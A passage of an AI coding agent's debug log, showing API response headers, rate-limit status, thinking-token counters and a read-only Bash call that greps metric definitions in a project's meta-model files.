},\n[2026-09-29T07:46:50.661Z] [STDOUT] }\n[2026-09-29T07:46:50.879Z] [STDOUT] [log_c3c4e4, request-id: \"req_011CfXMs3fwQoX8S5YLXibc1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 775ms\n[2026-09-29T07:46:50.884Z] [STDOUT] [log_c3c4e4] response start {\n[2026-09-29T07:46:50.893Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:50.900Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:50.908Z] [STDOUT]   headers: {\n[2026-09-29T07:46:50.915Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:50.933Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:50.940Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:50.944Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:50.948Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:50.954Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:50.962Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:50.965Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:50.971Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:50.976Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:50.981Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:50.987Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:50.993Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:50.998Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:51.004Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:51.008Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:51.019Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:51.024Z] [STDOUT]     \"cf-ray\": \"a42960572e24dbb5-FRA\",\n[2026-09-29T07:46:51.028Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:51.032Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:51.035Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:51.043Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:51.049Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:50 GMT\",\n[2026-09-29T07:46:51.056Z] [STDOUT]     \"request-id\": \"req_011CfXMs3fwQoX8S5YLXibc1\",\n[2026-09-29T07:46:51.059Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:51.063Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:51.066Z] [STDOUT]     traceresponse: \"00-32c4bf23a58886d1657d24990060c8eb-00fe80edcd4397b2-01\",\n[2026-09-29T07:46:51.068Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:51.072Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:51.075Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:51.077Z] [STDOUT]   },\n[2026-09-29T07:46:51.081Z] [STDOUT]   durationMs: 775,\n[2026-09-29T07:46:51.084Z] [STDOUT] }\n[2026-09-29T07:46:51.090Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:51.093Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:50 GMT\",\n[2026-09-29T07:46:51.100Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:51.103Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:51.107Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:51.110Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:51.114Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:51.120Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:51.126Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:51.136Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:51.142Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:51.145Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:51.148Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:51.153Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:51.159Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:51.164Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:51.168Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:51.170Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:51.173Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:51.175Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:51.181Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:51.185Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:51.193Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:51.195Z] [STDOUT]   \"request-id\": \"req_011CfXMs3fwQoX8S5YLXibc1\",\n[2026-09-29T07:46:51.202Z] [STDOUT]   \"traceresponse\": \"00-32c4bf23a58886d1657d24990060c8eb-00fe80edcd4397b2-01\",\n[2026-09-29T07:46:51.204Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:51.224Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:51.244Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:51.252Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:51.255Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:51.265Z] [STDOUT]   \"cf-ray\": \"a42960572e24dbb5-FRA\",\n[2026-09-29T07:46:51.268Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:51.272Z] [STDOUT] [log_c3c4e4] response parsed {\n[2026-09-29T07:46:51.277Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:51.280Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:51.282Z] [STDOUT]   body: X {\n[2026-09-29T07:46:51.287Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:51.291Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:51.293Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:51.295Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:51.298Z] [STDOUT]     },\n[2026-09-29T07:46:51.304Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:51.307Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:51.309Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:51.313Z] [STDOUT]   },\n[2026-09-29T07:46:51.315Z] [STDOUT]   durationMs: 776,\n[2026-09-29T07:46:51.320Z] [STDOUT] }\n[2026-09-29T07:46:51.396Z] [INFO] {\n[2026-09-29T07:46:51.396Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:51.396Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:51.396Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:51.396Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:51.396Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:51.396Z] [INFO]   \"uuid\": \"ca35ea72-3977-413a-b838-f7286975490d\"\n[2026-09-29T07:46:51.396Z] [INFO] }\n[2026-09-29T07:46:51.984Z] [STDOUT] [log_232d49, request-id: \"req_011CfXMrf2fvkGLvstKgDtPW\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7248ms\n[2026-09-29T07:46:51.987Z] [STDOUT] [log_232d49] response start {\n[2026-09-29T07:46:51.991Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:51.994Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:51.996Z] [STDOUT]   headers: {\n[2026-09-29T07:46:52.000Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:52.009Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:52.016Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:52.019Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:52.022Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:52.028Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.032Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:52.036Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:52.040Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:52.043Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:52.045Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:52.050Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:52.058Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:52.060Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.064Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:52.066Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:52.069Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:52.073Z] [STDOUT]     \"cf-ray\": \"a42960361a2901ff-CDG\",\n[2026-09-29T07:46:52.077Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:52.079Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:52.086Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:52.091Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:52.094Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:51 GMT\",\n[2026-09-29T07:46:52.097Z] [STDOUT]     \"request-id\": \"req_011CfXMrf2fvkGLvstKgDtPW\",\n[2026-09-29T07:46:52.102Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:52.105Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:52.108Z] [STDOUT]     traceresponse: \"00-80161e1479fd88148e40be0432857ff0-1e93e3fe3fb1fd2a-01\",\n[2026-09-29T07:46:52.111Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:52.117Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:52.121Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:52.124Z] [STDOUT]   },\n[2026-09-29T07:46:52.127Z] [STDOUT]   durationMs: 7248,\n[2026-09-29T07:46:52.134Z] [STDOUT] }\n[2026-09-29T07:46:52.137Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:52.142Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:51 GMT\",\n[2026-09-29T07:46:52.148Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:52.153Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:52.161Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:52.164Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:52.168Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:52.171Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:52.174Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:52.176Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:52.179Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:52.182Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:52.191Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:52.198Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:52.202Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:52.206Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:52.209Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:52.213Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.218Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:52.220Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:52.223Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:52.226Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:52.228Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.232Z] [STDOUT]   \"request-id\": \"req_011CfXMrf2fvkGLvstKgDtPW\",\n[2026-09-29T07:46:52.236Z] [STDOUT]   \"traceresponse\": \"00-80161e1479fd88148e40be0432857ff0-1e93e3fe3fb1fd2a-01\",\n[2026-09-29T07:46:52.241Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:52.245Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:52.249Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:52.252Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:52.257Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:52.261Z] [STDOUT]   \"cf-ray\": \"a42960361a2901ff-CDG\",\n[2026-09-29T07:46:52.265Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:52.269Z] [STDOUT] [log_232d49] response parsed {\n[2026-09-29T07:46:52.271Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:52.274Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:52.278Z] [STDOUT]   body: X {\n[2026-09-29T07:46:52.281Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:52.285Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:52.288Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:52.292Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:52.297Z] [STDOUT]     },\n[2026-09-29T07:46:52.303Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:52.306Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:52.310Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:52.313Z] [STDOUT]   },\n[2026-09-29T07:46:52.316Z] [STDOUT]   durationMs: 7252,\n[2026-09-29T07:46:52.328Z] [STDOUT] }\n[2026-09-29T07:46:52.498Z] [INFO] {\n[2026-09-29T07:46:52.498Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:52.498Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:52.498Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:46:52.498Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:52.498Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:52.498Z] [INFO]   \"uuid\": \"6a279e5b-e8d6-4ea0-9b1a-eefaa03d8b72\"\n[2026-09-29T07:46:52.498Z] [INFO] }\n[2026-09-29T07:46:53.549Z] [INFO] {\n[2026-09-29T07:46:53.549Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:53.549Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:53.549Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:46:53.549Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:53.549Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:53.549Z] [INFO]   \"uuid\": \"99ac9d5c-6740-4463-b8fc-3f3683e6f60a\"\n[2026-09-29T07:46:53.549Z] [INFO] }\n[2026-09-29T07:46:53.950Z] [INFO] {\n[2026-09-29T07:46:53.950Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:53.950Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:53.950Z] [INFO]   \"estimated_tokens\": 353,\n[2026-09-29T07:46:53.950Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:53.950Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:53.950Z] [INFO]   \"uuid\": \"b79e9fa3-2929-48c8-8817-7bc6599e9212\"\n[2026-09-29T07:46:53.950Z] [INFO] }\n[2026-09-29T07:46:53.960Z] [INFO] {\n[2026-09-29T07:46:53.960Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"message\": {\n[2026-09-29T07:46:53.960Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"id\": \"msg_011CfXMs47UucRme12uz9QDb\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"content\": [\n[2026-09-29T07:46:53.960Z] [INFO]       {\n[2026-09-29T07:46:53.960Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:53.960Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:53.960Z] [INFO]         \"signature\": \"CAQS+goKEAgSGAI4AUIIdGhpbmtpbmcSDOKPZ0ae28DCYNhIbhoMvNwEbQz+K84iN0Q0IjApt4dICehN/2kvwHydyON2t3/gQOyaIhfwDBU5uyfU9q0BGxcEWSHMWKCvZYFBGPoqlwrGn4EgxbcDfn5pwt0BBs8zaoGbwpWmpkfr7aroW4bnXlrPWmNp8/Pa+qTMlcQMGdUM9MP/xaKre9Y/P4fHbAUGUCbdixqVhAa6j+XIaEJaA/LhAkjDfrJk2eeBufJ95YCfhgQsiLBJ5IpdxUJPWZLksVsz9KF43bWxOXCWry2mmV0h/L+NiXMQNM2fEw4ptKdKrVlQXPbo+dvF+ZmOqe4BBH+PnbZ2RmKqPe9fMLuwbMvjTpl2dTdOnDMtlzYHTjVlKMZw/kvXzpGk4WgzTwvAgKVCFSenmUUqYWAGFwIbHqKTtWkPU5rgFyhYJzDB+urBhiYz3ZsSnODWOVoaFshgjn0QHlANy7uZuOFnTqpS4I7YRG3RK9EHK7w8yQox04BlX+OPdQ5TRs5373CnBu8daVElMOvV5C7x5oBorfx/DJ7g1WXlIl0ArS8HSnUQ9ZAuJw7Olvf1IjfPLZfNYFF+guLXT9BQ2V/u3gMsq7OGOZJOj9QGz7fkxUHZtsay2A8WTuSV/z+2C6A0ENHaAFb/XQ0XjTLv39MwDXnghlzSc7oGmgRcXUyw3tgYmZvOnmv4ntjtzNPsHbyLjp02JKXNKEvZ4R5T82wETYtJcpBus7H/32lTo6bqYq2GhrLJ9fONtKLib8kHGCe8H8TMZqvBFlBzqwaI7FwKgZqEBz4y6e50HqMM9o00USM3LxNi23YdNgcu/ZUz2kzlkyv4Y91NAOtaHNVECIZ9jt2wUP69Xqoq0qR5rLPQGmtMXvowH5tiXCtSEt5rH6OKeSKCAkYJVbS2KKv7VMSTWWf3l4GYEaFbUy/KCrs8OkiHl+nyjTp5doUQ8lWNZij9+gjmSWrtW+vjoQysH1Biq4m4fFqlzMmqJItM23OSMz+3fU5kBkRsdP/0ofd8kAcjAkyFvvSf6TcUOAZF4HMcM6A6/u9p6LPRh8xBbn1Jop6C0e7Is9I6wS/5OJZ99gcpEq2TiPUQ2yMF+/QtWHsaRo5Amv48yVQwWn6JPfQzg9slVZPVhcesB/2ZH23B/0/ZT5UUranYI4DB2o319SWkfl2e8sYdnF1e0g1v4Y9+vnyQSh351SOrXbz6LM0bpJS71uqYR8JHYjwLU8qcsCBpK2dLektFEEpY3QJx8LEozXC+vxS5aVVBgMHSVg3cs+GT+6g89L6r8lQ/WF+lLlz6RiINAOylJnuUH1aywear//yMUoFd7MBWuTFLik9QcvrGk2L2FSihCSckBAY1OwKhKHH/2RL5D1HCxUFeYCNiQMFtGqUYOjmLH5uHMFwDRU0GY6tBmt3ovKH2G7DSCmNHewkMEpyrFysqZTEmTR2r/oLTn9sK1e/W6lCMLm2omSgX7F4C/jGq5zScAD659Qildtm/7BmWLwLX+uCdGHVcpeYRYjehHDBW41/yawIZ1uPo/GmrGBw8GpaUmloY19h1Q8RWl4k64jIq+JUTLWHExnX0i8Vk0AS+2n6cgb6VkhprmPCv3QdVMB+PAV3jriuzR+lA0Pembx2UOBLSIOPXwhGqmNPI9kuhux8yiWvRnLcA5MkxYqZbSxxIl+jtH+O4rBY7juxKgJMbt20mrD1Rm7zIBUYzsOfMaIiBd9CJn8fQhtUOAXm/RzvdYgClJZ9egGC8ucD/4ksdG62O4QJdt5oe55UTQyYq9Xx8sfrsegs0tSIQZdXldPA2vWZtsPlUecsTiZkCT2ff43WyZl+qc6nE/GC+b01x4WaZlFGBGAE=\"\n[2026-09-29T07:46:53.960Z] [INFO]       }\n[2026-09-29T07:46:53.960Z] [INFO]     ],\n[2026-09-29T07:46:53.960Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:53.960Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:53.960Z] [INFO]       \"cache_creation_input_tokens\": 2601,\n[2026-09-29T07:46:53.960Z] [INFO]       \"cache_read_input_tokens\": 40629,\n[2026-09-29T07:46:53.960Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:53.960Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:53.960Z] [INFO]         \"ephemeral_1h_input_tokens\": 2601\n[2026-09-29T07:46:53.960Z] [INFO]       },\n[2026-09-29T07:46:53.960Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:53.960Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:53.960Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:53.960Z] [INFO]     },\n[2026-09-29T07:46:53.960Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:53.960Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:53.960Z] [INFO]   },\n[2026-09-29T07:46:53.960Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:53.960Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"uuid\": \"87f9e902-e93f-4857-9409-725fa69e9d74\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:53.949Z\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"request_id\": \"req_011CfXMs3fwQoX8S5YLXibc1\"\n[2026-09-29T07:46:53.960Z] [INFO] }\n[2026-09-29T07:46:55.164Z] [INFO] {\n[2026-09-29T07:46:55.164Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"message\": {\n[2026-09-29T07:46:55.164Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"id\": \"msg_011CfXMs47UucRme12uz9QDb\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"content\": [\n[2026-09-29T07:46:55.164Z] [INFO]       {\n[2026-09-29T07:46:55.164Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:55.164Z] [INFO]         \"id\": \"toolu_01K7srPDGfJWaX4fLcE1sXaE\",\n[2026-09-29T07:46:55.164Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:55.164Z] [INFO]         \"input\": {\n[2026-09-29T07:46:55.164Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" ba-meta-model/*.md | cut -c1-300 | head -30; ls ba-meta-model ba-meta-model/*/ | head -50\",\n[2026-09-29T07:46:55.164Z] [INFO]           \"description\": \"Locate metric definitions and meta-model files\"\n[2026-09-29T07:46:55.164Z] [INFO]         },\n[2026-09-29T07:46:55.164Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:55.164Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:55.164Z] [INFO]         }\n[2026-09-29T07:46:55.164Z] [INFO]       }\n[2026-09-29T07:46:55.164Z] [INFO]     ],\n[2026-09-29T07:46:55.164Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:55.164Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:55.164Z] [INFO]       \"cache_creation_input_tokens\": 2601,\n[2026-09-29T07:46:55.164Z] [INFO]       \"cache_read_input_tokens\": 40629,\n[2026-09-29T07:46:55.164Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:55.164Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:55.164Z] [INFO]         \"ephemeral_1h_input_tokens\": 